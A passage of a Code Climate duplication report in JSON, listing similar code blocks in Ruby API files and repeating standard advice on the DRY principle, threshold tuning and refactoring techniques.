principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"94185a2a13c6fd98f5095f170db11d97","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/discussions.rb","lines":{"begin":194,"end":198}},"remediation_points":170000,"other_locations":[{"path":"lib/api/discussions.rb","lines":{"begin":159,"end":163}},{"path":"lib/api/discussions.rb","lines":{"begin":209,"end":213}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"94185a2a13c6fd98f5095f170db11d97","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/discussions.rb","lines":{"begin":209,"end":213}},"remediation_points":170000,"other_locations":[{"path":"lib/api/discussions.rb","lines":{"begin":159,"end":163}},{"path":"lib/api/discussions.rb","lines":{"begin":194,"end":198}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 26**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"94185a2a13c6fd98f5095f170db11d97","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"rubocop/cop/migration/timestamps.rb","lines":{"begin":3,"end":22}},"remediation_points":430000,"other_locations":[{"path":"rubocop/cop/migration/remove_index.rb","lines":{"begin":3,"end":21}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 39**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"c7a34cb081b464faf300442c9a9c35d6","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"rubocop/cop/migration/remove_index.rb","lines":{"begin":3,"end":21}},"remediation_points":430000,"other_locations":[{"path":"rubocop/cop/migration/timestamps.rb","lines":{"begin":3,"end":22}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 39**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"1c3d38d7fee5df958c3e432d1dd17b38","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":265,"end":272}},"remediation_points":150000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":330,"end":337}},{"path":"lib/api/users.rb","lines":{"begin":417,"end":423}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b090709c230c91d97c8733ac43a69eb2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":330,"end":337}},"remediation_points":150000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":265,"end":272}},{"path":"lib/api/users.rb","lines":{"begin":417,"end":423}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b090709c230c91d97c8733ac43a69eb2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 3 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/users.rb","lines":{"begin":417,"end":423}},"remediation_points":150000,"other_locations":[{"path":"lib/api/users.rb","lines":{"begin":265,"end":272}},{"path":"lib/api/users.rb","lines":{"begin":330,"end":337}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 25**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b090709c230c91d97c8733ac43a69eb2","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":172,"end":195}},"remediation_points":390000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":645,"end":668}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef781c60f85295b7fcab51d2c5fa6dbf","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":645,"end":668}},"remediation_points":390000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":172,"end":195}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef781c60f85295b7fcab51d2c5fa6dbf","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":469,"end":492}},"remediation_points":390000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":599,"end":622}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef781c60f85295b7fcab51d2c5fa6dbf","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/services.rb","lines":{"begin":599,"end":622}},"remediation_points":390000,"other_locations":[{"path":"lib/api/services.rb","lines":{"begin":469,"end":492}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"ef781c60f85295b7fcab51d2c5fa6dbf","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/variables.rb","lines":{"begin":70,"end":80}},"remediation_points":390000,"other_locations":[{"path":"lib/api/group_variables.rb","lines":{"begin":70,"end":80}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract Class](http://sourcemaking.com/refactoring/extract-class)\n* [Form Template Method](http://sourcemaking.com/refactoring/form-template-method)\n* [Introduce Null Object](http://sourcemaking.com/refactoring/introduce-null-object)\n* [Pull Up Method](http://sourcemaking.com/refactoring/pull-up-method)\n* [Pull Up Field](http://sourcemaking.com/refactoring/pull-up-field)\n* [Substitute Algorithm](http://sourcemaking.com/refactoring/substitute-algorithm)\n\n## Further Reading\n\n* [Don't Repeat Yourself](http://c2.com/cgi/wiki?DontRepeatYourself) on the C2 Wiki\n* [Duplicated Code](http://sourcemaking.com/refactoring/duplicated-code) on SourceMaking\n* [Refactoring: Improving the Design of Existing Code](http://www.amazon.com/Refactoring-Improving-Design-Existing-Code/dp/0201485672) by Martin Fowler. _Duplicated Code_, p76\n"},"fingerprint":"b710502de22d6ac75887584b4089f55d","severity":"minor","engine_name":"duplication"},{"type":"issue","check_name":"similar-code","description":"Similar blocks of code found in 2 locations. Consider refactoring.","categories":["Duplication"],"location":{"path":"lib/api/group_variables.rb","lines":{"begin":70,"end":80}},"remediation_points":390000,"other_locations":[{"path":"lib/api/variables.rb","lines":{"begin":70,"end":80}}],"content":{"body":"## Duplicated Code\n\nDuplicated code can lead to software that is hard to understand and difficult to change. The Don't Repeat Yourself (DRY) principle states:\n\n> Every piece of knowledge must have a single, unambiguous, authoritative representation within a system.\n\nWhen you violate DRY, bugs and maintenance problems are sure to follow. Duplicated code has a tendency to both continue to replicate and also to diverge (leaving bugs as two similar implementations differ in subtle ways).\n\n## Tuning\n\n**This issue has a mass of 37**.\n\nWe set useful threshold defaults for the languages we support but you may want to adjust these settings based on your project guidelines.\n\nThe threshold configuration represents the minimum [mass](https://docs.codeclimate.com/docs/duplication#mass) a code block must have to be analyzed for duplication. The lower the threshold, the more fine-grained the comparison.\n\nIf the engine is too easily reporting duplication, try raising the threshold. If you suspect that the engine isn't catching enough duplication, try lowering the threshold. The best setting tends to differ from language to language.\n\nSee [`codeclimate-duplication`'s documentation](https://docs.codeclimate.com/docs/duplication) for more information about tuning the mass threshold in your `.codeclimate.yml`.\n\n## Refactorings\n\n* [Extract Method](http://sourcemaking.com/refactoring/extract-method)\n* [Extract 